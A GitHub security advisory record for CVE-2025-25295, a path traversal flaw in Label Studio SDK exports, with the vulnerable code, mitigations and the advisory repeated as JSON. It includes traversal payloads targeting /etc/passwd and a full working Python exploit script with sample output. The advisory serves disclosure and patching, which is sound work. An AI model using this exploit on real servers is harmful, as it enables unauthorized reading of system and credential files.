ghsa-rgv9-w7jp-m23g
Vulnerability from github
Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports:
```python def download( url, output_dir, filename=None, project_dir=None, return_relative_path=False, upload_dir=None, download_resources=True, ): is_local_file = url.startswith("/data/") and "?d=" in url is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
```
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the is_uploaded_file and another one for the is_local_file.
Steps to Reproduce
- Login to Label Studio
- Create project with image labeling configuration
- If the
data/media/uploaddirectory doesn't exists yet, upload an image to force the server to create it -
Create task with path traversal in image field
4.1. To trigger the
is_uploaded_filecode path:json { "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } }4.2. To trigger theis_local_filecode path:json { "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } }6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true7. Download the generated Zip file. The server's /etc/passwd file will be atimages/passwdon the Zip file.
Alternatively, use the following exploit code, updating the BASE_URL, USERNAME and PASSWORD variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify METHOD and EXPORT_TYPE to test the different code paths and export formats:
```python import requests from bs4 import BeautifulSoup import io import zipfile
BASE_URL = "http://xbow-app-1:8000" USERNAME = "test@test.com" PASSWORD = "Test123!@#" METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file" EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"
print("Signing up...") url = "%s/user/signup/" % BASE_URL session = requests.Session()
First get the CSRF token
response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print(f"Got CSRF token: {csrf_token}")
Prepare registration data
data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, 'allow_newsletters': 'false', 'allow_newsletters_visual': 'false' }
headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', }
Submit the registration request
response = session.post(url, data=data, headers=headers) print(f"User registration response status code: {response.status_code}\n")
Login
print("Logging in...") url = "%s/user/login" % BASE_URL
Attempt login with our credentials
login_data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, }
headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', }
response = session.post(url, data=login_data, headers=headers)
print(f"Login response status code: {response.status_code}")
Check if we got any tokens in the response
print("\nCookies after login:") for cookie in session.cookies: print(f"{cookie.name}: {cookie.value}")
We will use these headers moving forward
headers = { 'Content-Type': 'application/json', 'X-CSRFToken': session.cookies['csrftoken'] }
Creat a project to then create a task associated to it
print("\nCreating project...")
Try to create a project with a file upload configuration
project_data = {
"title": "File Upload Test",
"description": "Testing file upload functionality",
"label_config": """
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")
Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
task_data["data"] = {
"text": "test",
"image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file
}
else:
task_data["data"] = {
"text": "test",
"image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
}
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
print("Problem creating task, aborting")
exit(0)
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")
Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})
Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true") if (response.status_code != 200): print("Couldn't fetch export file") exit(0)
file_like_object = io.BytesIO(response.content) zipfile_ob = zipfile.ZipFile(file_like_object) print("Dumping /etc/passwd file contents:") print(zipfile_ob.read("images/passwd").decode("utf-8"))
```
Output:
``` $ python3 studio-min.py Signing up... Got CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6 User registration response status code: 200
Logging in... Login response status code: 200
Cookies after login: csrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33 sessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30
Creating project... Project ID: 10
Creating task with method is_uploaded_file (defaults to is_local_file)... Task created successfully, task id: 10
Dumping /etc/passwd file contents: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin nginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin ```
Mitigations
- Validate and sanitize file paths
- Add an allowlist of directories and file types
- Implement file access controls
- Use randomized file names and secure file storage abstraction
Impact
Authentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "label-studio-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25295"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-26"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-14T15:16:40Z",
"nvd_published_at": "2025-02-14T17:15:20Z",
"severity": "HIGH"
},
"details": "## Description\nA path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:\n\n```python\ndef download(\n url,\n output_dir,\n filename=None,\n project_dir=None,\n return_relative_path=False,\n upload_dir=None,\n download_resources=True,\n):\n is_local_file = url.startswith(\"/data/\") and \"?d=\" in url\n is_uploaded_file = url.startswith(\"/data/upload\")\n\n if is_uploaded_file:\n upload_dir = _get_upload_dir(project_dir, upload_dir)\n filename = urllib.parse.unquote(url.replace(\"/data/upload/\", \"\"))\n filepath = os.path.join(upload_dir, filename)\n logger.debug(\n f\"Copy {filepath} to {output_dir}\".format(\n filepath=filepath, output_dir=output_dir\n )\n )\n if download_resources:\n shutil.copy(filepath, output_dir)\n if return_relative_path:\n return os.path.join(\n os.path.basename(output_dir), os.path.basename(filename)\n )\n return filepath\n\n if is_local_file:\n filename, dir_path = url.split(\"/data/\", 1)[-1].split(\"?d=\")\n dir_path = str(urllib.parse.unquote(dir_path))\n filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)\n if not os.path.exists(filepath):\n raise FileNotFoundError(filepath)\n if download_resources:\n shutil.copy(filepath, output_dir)\n return filepath\n```\n\nBy creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.\n\nNote that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.\n\n## Steps to Reproduce\n1. Login to Label Studio\n2. Create project with image labeling configuration\n3. If the `data/media/upload` directory doesn\u0027t exists yet, upload an image to force the server to create it\n4. Create task with path traversal in image field\n \n 4.1. To trigger the `is_uploaded_file` code path:\n ```json\n {\n \"data\": {\n \"text\": \"test\",\n \"image\": \"/data/upload/../../../../../etc/passwd\"\n }\n }\n ```\n 4.2. To trigger the `is_local_file` code path:\n ```json\n {\n \"data\": {\n \"text\": \"test\",\n \"image\": \"/data/local-files/?d=../../../etc/passwd\"\n }\n }\n ```\n6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:\n ```\n GET /api/projects/1/export?exportType=VOC\u0026download_all_tasks=true\u0026download_resources=true\n ```\n7. Download the generated Zip file. The server\u0027s /etc/passwd file will be at `images/passwd` on the Zip file.\n\n\nAlternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:\n\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport zipfile\n\n\nBASE_URL = \"http://xbow-app-1:8000\"\nUSERNAME = \"test@test.com\"\nPASSWORD = \"Test123!@#\"\nMETHOD = \"is_uploaded_file\" # Valid values: \"is_uploaded_file\" or \"is_local_file\"\nEXPORT_TYPE = \"VOC\" # Valid values: \"VOC\", \"COCO\" or \"YOLO\"\n\nprint(\"Signing up...\")\nurl = \"%s/user/signup/\" % BASE_URL\nsession = requests.Session()\n\n# First get the CSRF token\nresponse = session.get(url)\nsoup = BeautifulSoup(response.text, \u0027html.parser\u0027)\ncsrf_token = soup.find(\u0027input\u0027, {\u0027name\u0027: \u0027csrfmiddlewaretoken\u0027})[\u0027value\u0027]\nprint(f\"Got CSRF token: {csrf_token}\")\n\n# Prepare registration data\ndata = {\n \u0027csrfmiddlewaretoken\u0027: csrf_token,\n \u0027email\u0027: USERNAME,\n \u0027password\u0027: PASSWORD,\n \u0027allow_newsletters\u0027: \u0027false\u0027,\n \u0027allow_newsletters_visual\u0027: \u0027false\u0027\n}\n\nheaders = {\n \u0027Referer\u0027: url,\n \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n}\n\n# Submit the registration request\nresponse = session.post(url, data=data, headers=headers)\nprint(f\"User registration response status code: {response.status_code}\\n\")\n\n# Login\nprint(\"Logging in...\")\nurl = \"%s/user/login\" % BASE_URL\n\n# Attempt login with our credentials\nlogin_data = {\n \u0027csrfmiddlewaretoken\u0027: csrf_token,\n \u0027email\u0027: USERNAME,\n \u0027password\u0027: PASSWORD,\n}\n\nheaders = {\n \u0027Referer\u0027: url,\n \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n}\n\nresponse = session.post(url, data=login_data, headers=headers)\n\nprint(f\"Login response status code: {response.status_code}\")\n\n# Check if we got any tokens in the response\nprint(\"\\nCookies after login:\")\nfor cookie in session.cookies:\n print(f\"{cookie.name}: {cookie.value}\")\n\n\n# We will use these headers moving forward\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027X-CSRFToken\u0027: session.cookies[\u0027csrftoken\u0027]\n}\n\n# Creat a project to then create a task associated to it\nprint(\"\\nCreating project...\")\n# Try to create a project with a file upload configuration\nproject_data = {\n \"title\": \"File Upload Test\",\n \"description\": \"Testing file upload functionality\",\n \"label_config\": \"\"\"\n \u003cView\u003e\n \u003cImage name=\"image\" value=\"$image\"/\u003e\n \u003cText name=\"text\" value=\"$text\"/\u003e\n \u003cChoices name=\"choice\" toName=\"image\"\u003e\n \u003cChoice value=\"yes\"/\u003e\n \u003cChoice value=\"no\"/\u003e\n \u003c/Choices\u003e\n \u003c/View\u003e\n \"\"\"\n}\nresponse = session.post(\"%s/api/projects/\" % BASE_URL, json=project_data, headers=headers)\nif response.status_code != 201:\n print(\"Problem creating project, aborting\")\n exit(0) \nproject_id = response.json()[\u0027id\u0027]\nprint(f\"Project ID: {project_id}\\n\")\n\n# Create task using a filename to later abuse a path traversal vulnerability during file export\nprint(f\"Creating task with method {METHOD} (defaults to is_local_file)...\")\ntask_data = {}\nif (METHOD == \"is_uploaded_file\"):\n task_data[\"data\"] = {\n \"text\": \"test\",\n \"image\": \"/data/upload/../../../../../etc/passwd\" # Trigger for is_uploaded_file\n }\nelse:\n task_data[\"data\"] = {\n \"text\": \"test\",\n \"image\": \"/data/local-files/?d=../../../etc/passwd\" # Trigger for is_local_file\n }\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/tasks\", json=task_data, headers=headers)\nif response.status_code != 201:\n print(\"Problem creating task, aborting\")\n exit(0) \ntask_id = response.json()[\u0027id\u0027]\nprint(f\"Task created successfully, task id: {task_id}\\n\")\n\n# Issue a dummy upload request to force the creation of the ~/data/images/upload folder\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false\", files={\"bar.png\":\"data\"})\n\n# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)\nresponse = session.get(f\"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}\u0026download_all_tasks=true\u0026download_resources=true\")\nif (response.status_code != 200):\n print(\"Couldn\u0027t fetch export file\")\n exit(0)\n\nfile_like_object = io.BytesIO(response.content)\nzipfile_ob = zipfile.ZipFile(file_like_object)\nprint(\"Dumping /etc/passwd file contents:\")\nprint(zipfile_ob.read(\"images/passwd\").decode(\"utf-8\"))\n\n```\n\nOutput:\n\n```\n$ python3 studio-min.py\nSigning up...\nGot CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6\nUser registration response status code: 200\n\nLogging in...\nLogin response status code: 200\n\nCookies after login:\ncsrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33\nsessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30\n\nCreating project...\nProject ID: 10\n\nCreating task with method is_uploaded_file (defaults to is_local_file)...\nTask created successfully, task id: 10\n\nDumping /etc/passwd file contents:\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nnginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin\n```\n\n## Mitigations\n- Validate and sanitize file paths\n- Add an allowlist of directories and file types\n- Implement file access controls\n- Use randomized file names and secure file storage abstraction\n\n## Impact\nAuthentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.",
"id": "GHSA-rgv9-w7jp-m23g",
"modified": "2025-02-14T18:40:06Z",
"published": "2025-02-14T15:16:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25295"
},
{
"type": "WEB",
"url": "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
},
{
"type": "PACKAGE",
"url": "https://github.com/HumanSignal/label-studio-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Label Studio has a Path Traversal Vulnerability via image Field"
}
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.